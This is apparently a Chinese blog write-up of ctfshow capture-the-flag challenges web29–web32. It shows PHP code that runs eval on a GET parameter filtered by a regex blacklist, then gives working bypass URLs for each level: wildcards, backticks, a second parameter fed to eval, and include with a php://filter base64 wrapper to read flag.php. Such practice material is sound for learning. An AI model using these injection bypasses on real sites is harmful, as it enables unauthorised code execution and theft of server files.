ctfshow命令执行(持续更新,已更至web32)

做命令执行题比前两种慢很多,到现在也只做了总数的五分之一,慢慢来吧。

web29

题目如下:

error_reporting(0); if(isset($_GET['c'])){     $c = $_GET['c'];     if(!preg_match("/flag/i", $c)){         eval($c);     }      }else{     highlight_file(__FILE__); } 

先GET一个参数c,如果c中没有’flag’字段,那么用eval()函数执行。
既然基本没什么限制,那就先看看有哪些文件

http://6e8aa367-6449-45f4-aa83-43e22fede983.challenge.ctf.show:8080/?c=system('ls'); 

发现名为flag的PHP文件
ctfshow命令执行(持续更新,已更至web32)
通过命令,将flag.php文件的内容复制到文件1.txt,因为flag字段有限制,所以部分用通配符?代替,改为fla?.php

http://6e8aa367-6449-45f4-aa83-43e22fede983.challenge.ctf.show:8080/?c=system('cp fla?.php 1.txt'); 

然后访问1.txt即可。
ctfshow命令执行(持续更新,已更至web32)

web30

题目变化如下:

if(!preg_match("/flag|system|php/i", $c)){         eval($c);     } 

这次多限制了system和php字段,不过没什么影响,还是一样的方法,只是用反引号代替system,用fla?.ph?代替flag.php

http://3a0a6712-1e88-4944-b748-a71f91f4050b.challenge.ctf.show:8080/?c=`cp fla?.ph? 1.txt`; 

然后访问1.txt即可。

web31

变动如下:

if(!preg_match("/flag|system|php|cat|sort|shell|.| |'/i", $c)){         eval($c);     } 

这里因为限制了c中的.和空格,前两道题的方法不再适用,这里我们选择构造另一个参数并执行

http://89b8e4db-23c3-4f08-94ab-758c14d092ea.challenge.ctf.show:8080/?c=eval($_GET[1]);&1=system('cp flag.php 1.txt'); 

因为只限制了c,所以对于参数1来说,就是没有限制,接着访问1.txt即可。

web32

变动如下:

if(!preg_match("/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(/i", $c)){         eval($c);     } 

这回多ban了反引号、echo、分号和前半个括号,因此换一种方法
这里我们选择使用文件包含的方法,使用相关伪协议,使用file://来访问文件,由于flag是PHP文件,单纯的包含并没有输出结果,因此可以先将文件base64编码,再传入include,就能输出文件的base64编码,解码即可。

http://f57b359c-6d8a-468f-9251-5b3d593d99db.challenge.ctf.show:8080/?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php 

结果如下
ctfshow命令执行(持续更新,已更至web32)
解码即可得到flag

版权声明:玥玥 发表于 2021-08-18 21:04:45。
转载请注明:ctfshow命令执行(持续更新,已更至web32) | 女黑客导航